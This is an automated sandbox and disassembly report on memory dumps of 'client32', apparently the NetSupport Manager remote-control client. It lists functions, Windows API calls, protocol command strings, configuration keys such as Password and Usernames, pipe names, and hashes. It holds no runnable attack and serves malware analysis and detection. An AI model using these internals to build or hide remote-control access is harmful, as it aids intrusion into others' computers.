Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window_memset$DesktopMessageSendShowTileVersionWindows
String ID:
API String ID: 2935161463-0
Opcode ID: 44d54990b038820ab7aca28a4c3db93f33c937f37789f986b02d6a214ecffddf
Instruction ID: 35b7b6022d84591d044a26b694642ad0dc219aa576d7b98394625e4548749f3d
Opcode Fuzzy Hash: 44d54990b038820ab7aca28a4c3db93f33c937f37789f986b02d6a214ecffddf
Instruction Fuzzy Hash: DB411D75A00611ABFB408F58CDC6F6EFBB8EF46314F508065EA15EB280D774E900CBA6

Function 11157150 Relevance: 10.6, APIs: 7, Instructions: 105windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 111571F7
ShowWindow.USER32(?,00000009), ref: 11157207
BringWindowToTop.USER32(?), ref: 11157211
IsWindow.USER32(00000000), ref: 11157250
IsIconic.USER32(00000000), ref: 1115725B
ShowWindow.USER32(00000000,00000009), ref: 11157268
BringWindowToTop.USER32(00000000), ref: 1115726F

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$BringIconicShow
String ID:
API String ID: 2588442158-0
Opcode ID: 04339d3fb1edccea6c933904a73c1ecc4457608c31de8596ba7e9b6b00db6c2d
Instruction ID: 2670ec832e92eb258b7983cc8279a8fc572c95be5cb6928d22fcebd5cae773e0
Opcode Fuzzy Hash: 04339d3fb1edccea6c933904a73c1ecc4457608c31de8596ba7e9b6b00db6c2d
Instruction Fuzzy Hash: 8531A275A00A2A9FD751CF64D945BAEF7B4FB49714F00826AF921D3380EB35A901CFA1

Function 110255D0 Relevance: 4.6, APIs: 3, Instructions: 72windowthreadCOMMON

Download Yara Rule

APIs

IsIconic.USER32(00000000), ref: 11025606
BringWindowToTop.USER32(00000000), ref: 1102561C

Part of subcall function 110016C0: CloseHandle.KERNEL32(00000000,00000000,00000001,00000000), ref: 11001744

GetCurrentThreadId.KERNEL32 ref: 11025643

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: BringCloseCurrentHandleIconicThreadWindow
String ID:
API String ID: 282708701-0
Opcode ID: f8c1720ab67cf9ac53e7b4b7fd99623febfafd63df5ab86bd196bdc2a1eef6a6
Instruction ID: 68da218cc8d3d2acc09eaaaeac647b59bddd30eea9b0a9a447bb8f190febde42
Opcode Fuzzy Hash: f8c1720ab67cf9ac53e7b4b7fd99623febfafd63df5ab86bd196bdc2a1eef6a6
Instruction Fuzzy Hash: 2221C636A006069FE720DE69E4487EAF3E4FB8C328F50C16AE55A87240DB76E841CF55

Function 1110F530 Relevance: 3.1, APIs: 2, Instructions: 54keyboardCOMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(?,00000101,?,00000001,00000000,00000000,?,00000000), ref: 1110F582
keybd_event.USER32(00000091,00000046,00000000,00000000), ref: 1110F5B5

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ControlDevicekeybd_event
String ID:
API String ID: 1421710848-0
Opcode ID: 407e97887e86df9f2c0a03872b9b60b55f09692966eacca027f370d3071f714e
Instruction ID: f16cb9fa246973b130d8d4b772b22c9a054ff2d8a1491d36678eaa30799a1364
Opcode Fuzzy Hash: 407e97887e86df9f2c0a03872b9b60b55f09692966eacca027f370d3071f714e
Instruction Fuzzy Hash: 91012833E01A167AF30189699D46FA7FB5C9B45721F014238EE19E71C0DA659904C7A2

Function 110A9020 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(00000000,002A400C,00000000,00000000,00000000,00000000,11030F1E,00000000), ref: 110A9040

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: bee1594c9b993945fc66beb885ff9e6d2c70a72c6a38e995273342c6cce042f3
Instruction ID: e6d1365b3b06df1e9415c01cc9d8350cc9404220fab0c618bb11d61061ff1502
Opcode Fuzzy Hash: bee1594c9b993945fc66beb885ff9e6d2c70a72c6a38e995273342c6cce042f3
Instruction Fuzzy Hash: 48E0CDF5A4421CBF9314DEF99CC1CA7B79CD6463687100399F529C3141E5729D009630

Function 110B7290 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 110B6B00: GetLastError.KERNEL32(1110C55B,11190A88,?,?,110291D1,?,11190A88,1110C55B,00000000), ref: 110B6B2C
Part of subcall function 110B6B00: _strrchr.LIBCMT ref: 110B6B3B
Part of subcall function 110B6B00: _strrchr.LIBCMT ref: 110B6B5D
Part of subcall function 110B6B00: GetTickCount.KERNEL32 ref: 110B6B8D
Part of subcall function 110B6B00: GetTickCount.KERNEL32 ref: 110B6BB8
Part of subcall function 110B6B00: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110B6BDC
Part of subcall function 110B6B00: TranslateMessage.USER32(?), ref: 110B6BE5
Part of subcall function 110B6B00: DispatchMessageA.USER32(?), ref: 110B6BEE

ExitProcess.KERNEL32 ref: 110B72D2

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$CountTick_strrchr$DispatchErrorExitLastProcessTranslate
String ID:
API String ID: 3353803068-0
Opcode ID: 06c9df3ca406207d7238bdc876dcff0f4e22ad641d992ae1b7e140b03e8b296d
Instruction ID: ce9d5818c6b3e3d75bb82768abb96607a537f9dfa1c9a02e20bcdd361acef7c7
Opcode Fuzzy Hash: 06c9df3ca406207d7238bdc876dcff0f4e22ad641d992ae1b7e140b03e8b296d
Instruction Fuzzy Hash: A5E039B860020A9FFB16DFD8C8C0BBA73E8FB08708F044024FA1847281D670A8408B75

Function 110495E0 Relevance: 49.2, APIs: 6, Strings: 22, Instructions: 195COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 11049660
__itow.LIBCMT ref: 110496BD
wsprintfA.USER32 ref: 11049749
_sprintf.LIBCMT ref: 110497F5
_free.LIBCMT ref: 11049801
_sprintf.LIBCMT ref: 11049834

Strings

%s PLUGIN_%s CMD_%s %hs, xrefs: 1104973D
,%x, xrefs: 11049821
POLL, xrefs: 110496FB
,%.*s, xrefs: 110497EF
DATA_OVERWRITE, xrefs: 110496AE
CLOSE, xrefs: 1104968B, 110496DF
INFO, xrefs: 11049699, 11049702
RESEND, xrefs: 11049717
,%dK, xrefs: 11049817
BLOCK, xrefs: 11049710
UNREGISTER, xrefs: 11049725
STATE, xrefs: 11049709
INIT, xrefs: 1104967D, 110496F4
TC_FILTER, xrefs: 110496A0
TC_LIST, xrefs: 110496A7
CHANGE, xrefs: 110496ED
%s %s, xrefs: 1104988C
ACTIVATE, xrefs: 110496E6
REGISTER, xrefs: 1104971E
START, xrefs: 110496D8, 11049734
DATA, xrefs: 11049692
EXECUTE, xrefs: 11049684

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __itow_sprintf$_freewsprintf
String ID: %s %s$%s PLUGIN_%s CMD_%s %hs$,%.*s$,%dK$,%x$ACTIVATE$BLOCK$CHANGE$CLOSE$DATA$DATA_OVERWRITE$EXECUTE$INFO$INIT$POLL$REGISTER$RESEND$START$STATE$TC_FILTER$TC_LIST$UNREGISTER
API String ID: 3257145489-1307768689
Opcode ID: d1e2b4759ddcb89aad79aafaded510befec1c583f1315cc2030a734cf4557b8a
Instruction ID: cdd84283306ff48d96025544587da65754e4ceb7f0d5a25df35768a9cec4e56b
Opcode Fuzzy Hash: d1e2b4759ddcb89aad79aafaded510befec1c583f1315cc2030a734cf4557b8a
Instruction Fuzzy Hash: 1471D571D08228DBEB11CF58E9C0B9DB7B8FB09204F6081F9D955A7640FB31AE45CB85

Function 11053520 Relevance: 47.7, APIs: 12, Strings: 15, Instructions: 463COMMON

Download Yara Rule

APIs

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

std::exception::exception.LIBCMT ref: 11053720
__CxxThrowException@8.LIBCMT ref: 11053735

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

wsprintfA.USER32 ref: 11053AA5

Strings

_License, xrefs: 11053803
DEMO, xrefs: 11053823
_debug, xrefs: 11053589
UserAcknowledge, xrefs: 1105386B
Inactivity, xrefs: 11053943
Client, xrefs: 11053870, 110538B0, 1105390A, 11053921, 11053948, 11053A84, 11053ACE, 11053B7E
platformid, xrefs: 11053584
serial_no, xrefs: 110537FE
%spciinv.dll, xrefs: 11053A9F
Password, xrefs: 11053905
UseNTSecurity, xrefs: 1105391C
MinimumEncryption, xrefs: 11053B79
Usernames, xrefs: 110538AB
DisableInventory, xrefs: 11053A7F, 11053AC9
Fs, xrefs: 11053B35

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$Exception@8Throw__wcstoi64_malloc_memsetstd::exception::exception
String ID: Fs$%spciinv.dll$Client$DEMO$DisableInventory$Inactivity$MinimumEncryption$Password$UseNTSecurity$UserAcknowledge$Usernames$_License$_debug$platformid$serial_no
API String ID: 3148379806-2783924444
Opcode ID: 067c01a312d8579723d9dcab4dac57ef693f9ba7b95317913b0f3f2469755a3e
Instruction ID: 3760cd0df860b50928fc15fcaed87cdf7bd70b4af21edf96d6cda88f852dd69a
Opcode Fuzzy Hash: 067c01a312d8579723d9dcab4dac57ef693f9ba7b95317913b0f3f2469755a3e
Instruction Fuzzy Hash: 2C02B274E41219AFEB54DFA0CC91FEEB7B5AF44708F0040A9F505AB284EB75AA44CB91

Function 1104F1F0 Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 316filepipethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 1104D7A0: SetEvent.KERNEL32(?), ref: 1104D857
Part of subcall function 1104D7A0: CloseHandle.KERNEL32(?), ref: 1104D8BD
Part of subcall function 1104D7A0: CloseHandle.KERNEL32(?), ref: 1104D8CF

wsprintfA.USER32 ref: 1104F294
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 1104F2BD
GetLastError.KERNEL32 ref: 1104F2C8
SetNamedPipeHandleState.KERNEL32(00000000,00000002,00000000,00000000), ref: 1104F2F5
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,8F98CBB2), ref: 1104F30B
CloseHandle.KERNEL32(00000000,Function_0003BFA0,00000001,00000000), ref: 1104F3B5
GetWindowThreadProcessId.USER32(?,?), ref: 1104F3C3
OpenProcess.KERNEL32(00000400,00000000,?), ref: 1104F3D7
GetPriorityClass.KERNEL32(00000000), ref: 1104F3EC

Part of subcall function 110B69B0: GetModuleHandleA.KERNEL32(kernel32.dll,ProcessIdToSessionId,00000000,00000000), ref: 110B69D6
Part of subcall function 110B69B0: GetProcAddress.KERNEL32(00000000), ref: 110B69DD
Part of subcall function 110B69B0: GetCurrentProcessId.KERNEL32(00000000), ref: 110B69F3

GetDC.USER32(00000000), ref: 1104F3FA
GetACP.KERNEL32(View,CacheSize,00000400,00000000), ref: 1104F44E
GetDeviceCaps.GDI32(00000000,0000000E), ref: 1104F45D
GetDeviceCaps.GDI32(00000000,0000000C), ref: 1104F46C
GetDeviceCaps.GDI32(?,00000026), ref: 1104F48A
GetDeviceCaps.GDI32(?,00000068), ref: 1104F49A
ReleaseDC.USER32(00000000,?), ref: 1104F4C8
GetSystemMetrics.USER32(0000004C), ref: 1104F4D6
GetSystemMetrics.USER32(0000004D), ref: 1104F4E0

Strings

idata->hShowEvent, xrefs: 1104F325
CacheSize, xrefs: 1104F40D
CLTCONN.CPP, xrefs: 1104F320
\\.\pipe\nsm_ctl32_show_%d, xrefs: 1104F28E
Error creating hShowPipe, e=%d, xrefs: 1104F2CF
View, xrefs: 1104F414
Show enabling mirror, xrefs: 1104F64E
Fs, xrefs: 1104F45D, 1104F46C, 1104F48A, 1104F49A

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Handle$CapsDevice$CloseProcess$CreateEventMetricsSystem$AddressClassCurrentErrorFileLastModuleNamedOpenPipePriorityProcReleaseStateThreadWindowwsprintf
String ID: Fs$CLTCONN.CPP$CacheSize$Error creating hShowPipe, e=%d$Show enabling mirror$View$\\.\pipe\nsm_ctl32_show_%d$idata->hShowEvent
API String ID: 1070019554-1506342047
Opcode ID: ee0e5c48d0daeecf0fd21306fc79cf86c0c198c9e2e82e9e0d98520a2fd3b028
Instruction ID: 9e05fd3e99d1ba299a5e69b94f78ab0cc0e2b5ceb0091134e64afd2af46fbdf2
Opcode Fuzzy Hash: ee0e5c48d0daeecf0fd21306fc79cf86c0c198c9e2e82e9e0d98520a2fd3b028
Instruction Fuzzy Hash: 2DD13DB4E007169FD715CF78C888B9EB7F5BB48308F1085ADE92A97284DB70AA44CF51

Function 11139170 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 229registrylibraryloaderCOMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F00), ref: 111391CA
GetStockObject.GDI32(00000004), ref: 111391D5
RegisterClassA.USER32(?), ref: 111391E9
GetLastError.KERNEL32 ref: 1113925F
GetLastError.KERNEL32 ref: 1113927B
CreateWindowExA.USER32(00080020,NSMBlankWnd,Blank,88800000,?,?,?,?,00000000,00000000,00000000,00000000), ref: 111392E5
SetWindowPos.USER32(?,00000001,00000000,00000000,00000000,00000000,00000053), ref: 1113934E
SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000053), ref: 1113937D
UpdateWindow.USER32(?), ref: 111393AB
GetProcAddress.KERNEL32(?,DwmEnableComposition), ref: 111393C6
SetTimer.USER32(?,00000081,00000014,00000000), ref: 1113940A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,110F553C), ref: 11139414

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,110F553C), ref: 11139432

Strings

Error. RegisterClass(%s) failed, e=%d, xrefs: 11139282
BlankWidth, xrefs: 1113920A
BlankWnd x%x created, w=%d, h=%d, xrefs: 111392F9
BlankHeight, xrefs: 1113921B
_debug, xrefs: 1113920F, 1113922C
Blank, xrefs: 111392D6
Error. BlankWnd not created, e=%d, xrefs: 11139439
DwmEnableComposition, xrefs: 111393C0
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11139326, 1113935B, 11139395, 111393EB
NSMBlankWnd, xrefs: 111391E2, 1113926B, 11139281, 111392DB
Info. Class %s already registered, xrefs: 1113926C
Error setting blankwnd timer, e=%d, xrefs: 1113941B
m_hWnd, xrefs: 1113932B, 11139360, 1113939A, 111393F0

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
